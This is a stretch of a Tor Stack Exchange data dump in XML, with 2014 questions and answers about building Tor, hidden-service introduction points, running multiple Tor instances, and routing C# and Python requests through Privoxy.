  <row Id="1968" PostTypeId="2" ParentId="1755" CreationDate="2014-04-19T12:20:12.367" Score="2" Body="&lt;p&gt;In general you do the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Check the source code from &lt;a href=&quot;https://gitweb.torproject.org/tor.git&quot; rel=&quot;nofollow&quot;&gt;Tor's git repository&lt;/a&gt; or from the &lt;a href=&quot;https://www.torproject.org/download/download.html.en&quot; rel=&quot;nofollow&quot;&gt;download page&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Apply your changes&lt;/li&gt;&#xA;&lt;li&gt;Compile the code (&lt;code&gt;./configure &amp;amp;&amp;amp; make&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;You can install the binary (&lt;code&gt;make install&lt;/code&gt;) or run it directly from the directory (&lt;code&gt;src/or/tor&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As long as you do the changes you mentioned there is no need to exclude you from the network. In fact usually nobody has a chance to find out that you did it. However when you makes changes to the protocol or the network behaviour of Tor this will get noticed and you might get blocked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want to do testing with Tor you have the chance to build a private Tor network. All changes you make will only affect this network. &lt;a href=&quot;https://shadow.cs.umn.edu/&quot; rel=&quot;nofollow&quot;&gt;Shadow&lt;/a&gt; is one of the projects which help to build such a private network.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-04-19T12:20:12.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1969" PostTypeId="2" ParentId="1964" CreationDate="2014-04-19T13:14:40.007" Score="1" Body="&lt;p&gt;I think I've solved the problem myself. I can block applications with the same software as well. So, I blocked Tor browser.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastActivityDate="2014-04-19T13:14:40.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1970" PostTypeId="1" AcceptedAnswerId="1973" CreationDate="2014-04-19T17:26:15.247" Score="5" ViewCount="478" Body="&lt;p&gt;From reading &lt;a href=&quot;https://tor.stackexchange.com/questions/672/how-do-onion-addresses-exactly-work/674#674&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html.en&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt;, I understand that a hidden service builds a virtual network to an introduction point and provides it with its public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm wondering is, how does the introduction point then communicate with the hidden service using this information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(as the second link says we do not want these nodes to know the hidden service's IP address)&lt;/p&gt;&#xA;" OwnerUserId="1620" LastEditorUserId="1620" LastEditDate="2014-04-19T21:57:34.507" LastActivityDate="2014-04-20T10:16:12.923" Title="How does an introduction point communicate with a hidden service using its public key?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1972" PostTypeId="1" AcceptedAnswerId="1982" CreationDate="2014-04-20T03:19:54.127" Score="1" ViewCount="99" Body="&lt;p&gt;I wrote a little tool to generate an ipset of all Tor nodes in order to filter connections (eg. relay all non Tor traffic through Tor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the ipset restore file, do I need to specify a protocol or not?&#xA;I'm not sure if Tor ever uses anything else than tcp...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add [setName] [ip],tcp:[port] -exist&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user517" LastEditorUserId="923" LastEditDate="2014-06-24T08:26:29.617" LastActivityDate="2014-06-24T08:26:29.617" Title="For filtering connections to Tor with ipset, do I need to set the protocol to tcp?" Tags="|onion-routing|linux|network-configuration|transparent-proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1973" PostTypeId="2" ParentId="1970" CreationDate="2014-04-20T03:21:47.173" Score="2" Body="&lt;p&gt;The hidden service builds a circuit just like a normal tor client does, passing through 3 different nodes to connect to it's introduction point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is nowhere explicitly mentioned in the tor protocols how comes that an introduction point can still contact the hidden service if time has elapsed since the service has chosen them, but I think it is implied here that the hidden service keeps it's connections to introduction points open. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means also that if the service goes down temporarily, when going back up their tor client will reconnect to the introduction points and if it doesn't there shall be no way and no need for the IP to find the service back. &lt;/p&gt;&#xA;" OwnerDisplayName="user517" LastEditorDisplayName="user517" LastEditDate="2014-04-20T10:16:12.923" LastActivityDate="2014-04-20T10:16:12.923" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1974" PostTypeId="5" CreationDate="2014-04-20T03:24:28.527" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-04-20T03:24:28.527" LastActivityDate="2014-04-20T03:24:28.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1975" PostTypeId="4" CreationDate="2014-04-20T03:24:28.527" Score="0" Body="Common term used to refer to that part of the internet which can only be accessed through anonymisation networks like tor and i2p." OwnerDisplayName="user517" LastEditorDisplayName="user517" LastEditDate="2014-04-20T08:43:08.143" LastActivityDate="2014-04-20T08:43:08.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1976" PostTypeId="5" CreationDate="2014-04-20T03:29:02.960" Score="0" Body="&lt;p&gt;Secure Sockets Layer (SSL), is a cryptographic protocol which is designed to provide communication security over the Internet. It uses X.509 certificates and hence asymmetric cryptography to assure the counterparty with whom they are communicating, and to exchange a symmetric key.&lt;/p&gt;&#xA;" OwnerDisplayName="user517" LastEditorDisplayName="user517" LastEditDate="2014-04-20T08:43:19.143" LastActivityDate="2014-04-20T08:43:19.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1977" PostTypeId="4" CreationDate="2014-04-20T03:29:02.960" Score="0" Body="Secure Socket Layer - protocol which allows encrypted network traffic using asymmetric key encryption." OwnerDisplayName="user517" LastEditorDisplayName="user517" LastEditDate="2014-04-20T08:43:35.510" LastActivityDate="2014-04-20T08:43:35.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1978" PostTypeId="5" CreationDate="2014-04-20T03:32:29.273" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-04-20T03:32:29.273" LastActivityDate="2014-04-20T03:32:29.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1979" PostTypeId="4" CreationDate="2014-04-20T03:32:29.273" Score="0" Body="Secure Shell (SSH) is a cryptographic network protocol for secure data communication, remote command-line login, remote command execution, and other secure network services between two networked computers. It connects, via a secure channel over an insecure network, a server and a client running SSH server and SSH client programs, respectively." OwnerDisplayName="user517" LastEditorDisplayName="user517" LastEditDate="2014-04-20T08:42:40.887" LastActivityDate="2014-04-20T08:42:40.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1980" PostTypeId="1" CreationDate="2014-04-20T21:58:38.400" Score="2" ViewCount="288" Body="&lt;p&gt;I want use several different Tor configurations (different countries) on Ubuntu server.&#xA;I found this one, however, i get some errors.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@s2hptor:~# /usr/sbin/tor -f /usr/local/etc/torrc1&#xA;Apr 19 22:51:52.005 [notice] Tor v0.2.4.20 (git-0d50b03673670de6) running on Linux with Libevent 2.0.21-stable and OpenSSL 1.0.1f.&#xA;Apr 19 22:51:52.006 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Apr 19 22:51:52.006 [notice] Read configuration file &quot;/usr/local/etc/torrc1&quot;.&#xA;Apr 19 22:51:52.018 [warn] ControlPort is open, but no authentication method has been configured.  This means that any program on your computer can reconfigure your Tor.  That's bad!  You should upgrade your Tor controller as soon as possible.&#xA;Apr 19 22:51:52.020 [notice] Opening Socks listener on 127.0.0.1:9051&#xA;Apr 19 22:51:52.020 [notice] Opening Control listener on 127.0.0.1:9061&#xA;Apr 19 22:51:52.020 [notice] Opening OR listener on 1.0.1.16:9001&#xA;Apr 19 22:51:52.020 [warn] Could not bind to 1.0.1.16:9001: Cannot assign requested address&#xA;Apr 19 22:51:52.020 [notice] Opening Directory listener on 1.0.1.16:9031&#xA;Apr 19 22:51:52.020 [warn] Could not bind to 1.0.1.16:9031: Cannot assign requested address&#xA;Apr 19 22:51:52.021 [notice] Closing partially-constructed Socks listener on 127.0.0.1:9051&#xA;Apr 19 22:51:52.021 [notice] Closing partially-constructed Control listener on 127.0.0.1:9061&#xA;Apr 19 22:51:52.021 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;Apr 19 22:51:52.021 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried turn off firewall but it did not help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, can i use one single IP and different ports (on one ubuntu server) or i have to use different IPs and different ports?&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="88" LastEditDate="2014-04-21T15:48:27.210" LastActivityDate="2014-05-21T16:03:50.550" Title="Several Tor sessions when using several Tor processes" Tags="|relays|ubuntu|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1981" PostTypeId="2" ParentId="1980" CreationDate="2014-04-21T15:57:16.557" Score="1" Body="&lt;p&gt;Generally you can't run more than one program on a single port. Once a program starts it uses a port and the operating system blocks it for other programs. So when you want to run different Tor processes, you'll need a different set of ports for each process. In your configuration &lt;code&gt;DirPort&lt;/code&gt;, &lt;code&gt;ORPort&lt;/code&gt;, &lt;code&gt;SocksPort&lt;/code&gt; and &lt;code&gt;ControlPort&lt;/code&gt; was set. If you really need all four ports, every &lt;code&gt;torrc&lt;/code&gt; should contain different ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally you should check if you really need all those ports for your Tor process. According to the &lt;a href=&quot;https://www.torservers.net/wiki/faq&quot; rel=&quot;nofollow&quot;&gt;FAQ&lt;/a&gt; entry you'll need &lt;code&gt;ORPort&lt;/code&gt; and &lt;code&gt;DirPort&lt;/code&gt; (&lt;a href=&quot;https://www.torservers.net/wiki/faq#which_ports_should_i_use&quot; rel=&quot;nofollow&quot;&gt;Which ports should I use?&lt;/a&gt;). The site also has some information for running &lt;a href=&quot;https://www.torservers.net/wiki/setup/server#multiple_tor_processes&quot; rel=&quot;nofollow&quot;&gt;multiple Tor processes&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-04-21T15:57:16.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1982" PostTypeId="2" ParentId="1972" CreationDate="2014-04-21T20:25:14.113" Score="1" Body="&lt;p&gt;Tor clients only use TCP to connect to nodes. hash:ip,port defaults to TCP, so you don't need to specify a protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be interested in &lt;a href=&quot;https://github.com/rustybird/corridor&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rustybird/corridor&lt;/a&gt;, which builds exactly the ipset you want from the current consensus.&lt;/p&gt;&#xA;" OwnerUserId="1631" LastActivityDate="2014-04-21T20:25:14.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1983" PostTypeId="1" CreationDate="2014-04-21T20:43:33.343" Score="1" ViewCount="247" Body="&lt;p&gt;I want to watch all YouTube videos at my discretion. Can I temporarily disable Tor to view YouTube videos?&lt;/p&gt;&#xA;" OwnerUserId="1632" LastActivityDate="2014-04-21T23:44:19.120" Title="can I disable Tor to view Youtube videos?" Tags="|support|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1984" PostTypeId="2" ParentId="1983" CreationDate="2014-04-21T23:44:19.120" Score="2" Body="&lt;p&gt;You have different ways to watch YouTube videos:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use some browser or browser profile which does not use Tor. This way you'll loose your anonymity.&lt;/li&gt;&#xA;&lt;li&gt;Use the HTML5 player. Visit the &lt;a href=&quot;https://youtube.com/html5&quot; rel=&quot;nofollow&quot;&gt;HTML5 page at YouTube&lt;/a&gt; and request to use the HTML5 player. When it is active you can watch many YouTube videos through Tor and without Flash.&lt;/li&gt;&#xA;&lt;li&gt;Download the video and watch it with an installed software. There are several programs which download the video to your harddrive (through Tor). You can than use a locally installed player and watch the video. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-04-21T23:44:19.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1986" PostTypeId="1" CreationDate="2014-04-22T10:21:33.663" Score="1" ViewCount="6376" Body="&lt;p&gt;I need to download set of files, it's easy to do in queue with downthemall addon (concurrent download setting = 1) . Is it safe to get the files with addon, will it still save via Tor? Will the file fingerprints still match?&#xA;I do not download large files that affect Tor network, just small ones because I already have a slow internet connection. &lt;/p&gt;&#xA;" OwnerUserId="1636" LastEditorUserId="114" LastEditDate="2014-06-27T12:36:13.960" LastActivityDate="2014-06-27T22:10:46.650" Title="Downthemall addon safe" Tags="|tor-browser-bundle|fingerprinting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1987" PostTypeId="1" AcceptedAnswerId="1989" CreationDate="2014-04-22T11:05:03.730" Score="4" ViewCount="12270" Body="&lt;p&gt;I'm trying to create web request using tor.it's giving error &quot;Unable to connect to the remote server&quot;&#xA;inner exception &quot;No connection could be made because the target machine actively refused it 127.0.0.1:8118&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tor browser working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    static void Main(string[] args)&#xA;    {&#xA;        Process p = new Process();&#xA;        p.StartInfo = new ProcessStartInfo(@&quot;C:\Users\king\Downloads\Tor Browser\App\tor.exe&quot;, &quot;ControlPort 9151 CircuitBuildTimeout 10&quot;);&#xA;        p.Start();&#xA;        Thread.Sleep(5000);&#xA;        Regex regex = new Regex(&quot;\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}&quot;, RegexOptions.Multiline);&#xA;&#xA;        do&#xA;        {       &#xA;&#xA;            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(&quot;http://whatismyipaddress.com/&quot;);&#xA;            request.Headers.Add(&quot;Cache-Control&quot;, &quot;max-age=0&quot;);&#xA;            request.Proxy = new WebProxy(&quot;127.0.0.1:8118&quot;);&#xA;            request.KeepAlive = false;&#xA;&#xA;            using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())&#xA;            {&#xA;&#xA;                using (var reader = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding(&quot;utf-8&quot;)))&#xA;                {&#xA;                    string contenu = reader.ReadToEnd();&#xA;                    Console.WriteLine(regex.Match(contenu).Groups[0].Value);&#xA;                }&#xA;            }&#xA;            Console.Write(&quot;en attente : continuez ?&quot;);&#xA;            string line = Console.ReadLine();&#xA;            if (line != &quot;y&quot;)&#xA;                break;&#xA;        }&#xA;        while (true);&#xA;&#xA;        p.Kill();&#xA;        Console.ReadLine();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thank's&lt;/p&gt;&#xA;" OwnerUserId="1637" LastActivityDate="2015-10-01T06:16:04.727" Title="c# make web request using Tor" Tags="|tor-browser-bundle|configuration|torcheck|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1988" PostTypeId="1" AcceptedAnswerId="3246" CreationDate="2014-04-22T13:13:01.527" Score="3" ViewCount="453" Body="&lt;p&gt;I am trying to use tor for anonymous access through privoxy as a proxy through urllib2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;System info: Ubuntu 14.04, recently upgraded from 13.10 through dist-upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a piece of code I am using for test purposes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import urllib2&#xA;&#xA;&#xA;def req(url):&#xA;    proxy_support = urllib2.ProxyHandler({&quot;http&quot;: &quot;127.0.0.1:8118&quot;})&#xA;    opener = urllib2.build_opener(proxy_support)&#xA;    opener.addheaders = [('User-agent', 'Mozilla/5.0')]&#xA;    return opener.open(url).read()&#xA;&#xA;print req('https://check.torproject.org')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above outputs a page with a &lt;code&gt;sorry, but you don't use Tor&lt;/code&gt; message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for my configurations:&#xA;&lt;strong&gt;/etc/tor/torrc&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ControlPort 9051&#xA;## If you enable the controlport, be sure to enable one of these&#xA;## authentication methods, to prevent attackers from accessing it.&#xA;#HashedControlPassword 16:872860B76453A77D60CA2BB8C1A7042072093276A3D701AD684053EC4C&#xA;HashedControlPassword 16:B3B0BA631D41D6FE601488FC7A9A2E80AB7815580C1C78F2865F30F63B&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/etc/privoxy/config&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;forward-socks5 / localhost:9050 .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ sudo netstat -ntap | grep tor&lt;/code&gt; outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tcp        0      0 127.0.0.1:9050          0.0.0.0:*               LISTEN      1045/tor        &#xA;tcp        0      0 127.0.0.1:9051          0.0.0.0:*               LISTEN      1045/tor        &#xA;tcp        0      0 10.0.0.94:56736         85.17.190.83:9002       ESTABLISHED 1045/tor        &#xA;tcp        0      0 10.0.0.94:60558         50.7.110.118:9001       ESTABLISHED 1045/tor        &#xA;tcp        0      0 10.0.0.94:43206         62.210.236.135:443      ESTABLISHED 1045/tor   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ sudo netstat -ntap | grep privoxy&lt;/code&gt; outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tcp        0      0 127.0.0.1:8118          0.0.0.0:*               LISTEN      887/privoxy &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And yet, all requests are received at the server with my actual IP&lt;/p&gt;&#xA;" OwnerUserId="1638" LastActivityDate="2016-09-08T03:02:44.040" Title="Tor doesn't work with urllib2" Tags="|configuration|python|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1989" PostTypeId="2" ParentId="1987" CreationDate="2014-04-22T13:36:15.003" Score="4" Body="&lt;p&gt;You are using port 8118, this is privoxy's port. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;your code doesn't appear to run privoxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;download privoxy, change its config to work with tor by uncommenting the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    forward-socks5             /     127.0.0.1:9050 .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;line&lt;/p&gt;&#xA;&#xA;&lt;p&gt;run privoxy and tor at the same time&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: the reason to run tor through privoxy is because c# does not work with socks proxies. and tor is a socks proxy, so it needs to be ran through a html proxy that runs through tor. (simplified description)&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="743" LastEditDate="2014-04-22T13:42:44.663" LastActivityDate="2014-04-22T13:42:44.663" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1990" PostTypeId="1" CreationDate="2014-04-22T16:16:41.770" Score="3" ViewCount="3645" Body="&lt;p&gt;Translation attempt: I installed the Vidalia bundle (Vidalia, Tor, Polipo) and am not able to load onion sites (hidden services). Why is that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a9CrC.png&quot; alt=&quot;введите здесь описание Изображения&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9QTwg.png&quot; alt=&quot;введите здесь описание изображения&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1640" LastEditorDisplayName="user5" LastEditDate="2015-04-15T02:10:26.070" LastActivityDate="2015-04-15T02:10:26.070" Title="Не открываются *.onion сайты (Could not open *.onion sites)" Tags="|onion-services|onion-routing|vidalia|" AnswerCount="0" CommentCount="1" ClosedDate="2015-08-24T13:36:33.237" ContentLicense="CC BY-SA 3.0" />
  <row Id="1991" PostTypeId="1" AcceptedAnswerId="2011" CreationDate="2014-04-22T17:10:39.450" Score="4" ViewCount="5987" Body="&lt;p&gt;Several attempts resulted in failure on a network where Tor used to work. I noticed that DuckDuckGo and Startpage and Ixquick used to work also but now get an error message when access is attempted. My only conclusion is the system admins must have noticed the use since regular access to the search engines stopped about the same time Tor started having problems on the network. How do I determine if Tor addresses are getting blocked? Do I have to use a bridge in this case?&lt;/p&gt;&#xA;" OwnerUserId="1635" LastEditorUserId="88" LastEditDate="2014-05-04T20:38:20.670" LastActivityDate="2014-05-04T20:38:43.603" Title="How can I determine if Tor is being blocked?" Tags="|blocked-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1992" PostTypeId="1" CreationDate="2014-04-22T17:56:46.287" Score="1" ViewCount="91" Body="&lt;p&gt;I see there are exit nodes listed at &lt;a href=&quot;http://torstatus.blutmagie.de/&quot; rel=&quot;nofollow&quot;&gt;http://torstatus.blutmagie.de/&lt;/a&gt;, but there are some colours on the Bandwidth bars (green/pink, black).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do they represent? Do they represent how much of the bandwidth is currently being used?&lt;/p&gt;&#xA;" OwnerUserId="1641" LastActivityDate="2015-10-23T14:38:43.817" Title="Colours on bandwidth bar in Tor Network Status" Tags="|exit-relays|bandwidth|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1993" PostTypeId="1" CreationDate="2014-04-23T09:25:43.417" Score="1" ViewCount="88" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If  I  download  Tor  browser bundle  can  I  still  use  windows  or  chrome  browser  separately&amp;lt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1645" LastEditorUserId="923" LastEditDate="2014-06-23T15:16:24.933" LastActivityDate="2014-06-23T15:16:24.933" Title="How to use windows and Tor" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1994" PostTypeId="2" ParentId="1993" CreationDate="2014-04-23T09:54:09.417" Score="2" Body="&lt;p&gt;Yes. Tor Browser Bundle does not interact with other browser in any way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you configure these browsers on purpose to use Tor as a proxy.&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2014-04-23T09:54:09.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1995" PostTypeId="1" AcceptedAnswerId="2009" CreationDate="2014-04-23T11:03:15.067" Score="1" ViewCount="139" Body="&lt;p&gt;I use Tor browser bundle, I wish to see Vidalia's Tor Bandwidth usage graph of Tor traffic from my browser bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can install vidalia on Tor browser bundle to see this graph?&lt;/p&gt;&#xA;" OwnerUserId="1552" LastEditorUserId="923" LastEditDate="2014-06-30T22:50:03.227" LastActivityDate="2014-06-30T22:50:03.227" Title="Use vidalia bandwidth graph with TBB" Tags="|tor-browser-bundle|vidalia|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1996" PostTypeId="2" ParentId="1583" CreationDate="2014-04-23T11:32:21.813" Score="0" Body="&lt;p&gt;I would do that but not for the entire Data directory, but for the Data/Browser one. torrc can be easily checked by hand in order to get default updates and modified with your bridges or preferences&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2014-04-23T11:32:21.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1997" PostTypeId="2" ParentId="835" CreationDate="2014-04-23T15:35:47.250" Score="2" Body="&lt;p&gt;What Vimeo needs is the H.264 codec on you machine and you have to enable that on Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume you are using TBB with Firefox 24 on Linux, as by default Windows 7 supports h264, Win XP will not be supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These steps work on TBB/Firefox/Iceweasel -&gt; &lt;a href=&quot;http://www.phoronix.com/scan.php?page=news_item&amp;amp;px=MTM5NzU&quot; rel=&quot;nofollow&quot; title=&quot;Firefo with h264 on Linux&quot;&gt;Firefox now with h264 on Linux&lt;/a&gt;&#xA;Quoting from it &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;..the &lt;code&gt;media.gstreamer.enabled&lt;/code&gt; preference can be enabled via &lt;code&gt;about:config&lt;/code&gt;. Aside from enabling the option in Firefox, the GStreamer libraries must be installed on the system.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1648" LastEditorUserId="88" LastEditDate="2014-04-27T14:29:54.443" LastActivityDate="2014-04-27T14:29:54.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1998" PostTypeId="2" ParentId="1993" CreationDate="2014-04-23T16:08:06.303" Score="1" Body="&lt;p&gt;Envite's assertion that the &quot;Tor Browser Bundle does not interact with other browser&quot; is correct only in a superficial way. And to say that's so &quot;in any way&quot; in dangerously misleading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By design, Web browsers can't access the main filesystem without instruction by users or malware. And different browsers on a computer can't share information with each other without such intervention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, all bets are off once a computer has been compromised by the NSA, Russian bot herders, etc. Whether the compromise occurred while using TBB or another browser, activity on all browsers (and everything else, for that matter) can be observed, logged and twisted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that, mixing routine activity and TBB use on the same computer is risky. Or at least, it's risky to the degree that users expect anonymity from their TBB use. Overall, it's far safer to use Tails or Whonix, or (perhaps even better) the Tor Browser in Qubes.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-04-23T16:08:06.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1999" PostTypeId="2" ParentId="1959" CreationDate="2014-04-23T18:14:07.217" Score="2" Body="&lt;p&gt;Well, you could install VirtualBox, and run Whonix. Whonix comprises a pair of Debian VMs, one being a Tor gateway and the other a workstation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would probably prevent the laptop from killing Tor. But maybe it also kills VirtualBox. That would be rather a no-brainer, no?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the laptop belong to you or to the school? If the school owns it, you may get busted for circumventing controls (or even for attempting).&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-04-23T18:14:07.217" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2000" PostTypeId="2" ParentId="1957" CreationDate="2014-04-23T18:33:17.493" Score="2" Body="&lt;p&gt;I've done that on pfSense, and it's been done on OpenWrt and DD-WRT. I'm sure that it would also work on Smoothwall. Routing and firewall rules for Tor are straightforward. There's no route from LAN to WAN, and LAN can only communicate with localhost on the ports that Tor is using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, Smoothwall might be one of the best platforms, because it's basically a Linux distro, and may have Tor packages that are more up-to-date. Checking repositories that Smoothwall uses would be a good place to start.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-04-23T18:33:17.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2001" PostTypeId="1" CreationDate="2014-04-23T20:21:15.917" Score="2" ViewCount="379" Body="&lt;p&gt;In Windows XP, after long history of correct wotking without problems, there is one now. After run a &quot;Start Tor Browser.exe&quot;, a window &quot;connecting to the Tor Network&quot; shows up but the progress bar don`t change. Nothing is going on. After a while there is problem with this window, it changes to white without any letters. In process menager the tor.exe is present, in the firewall window tor.exe is sending and receiving packets, but the tor browser is not openning.  &lt;/p&gt;&#xA;" OwnerUserId="1651" LastActivityDate="2014-04-25T07:24:04.860" Title="Tor not making connection to the network" Tags="|windows|" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-24T11:21:00.793" ContentLicense="CC BY-SA 3.0" />
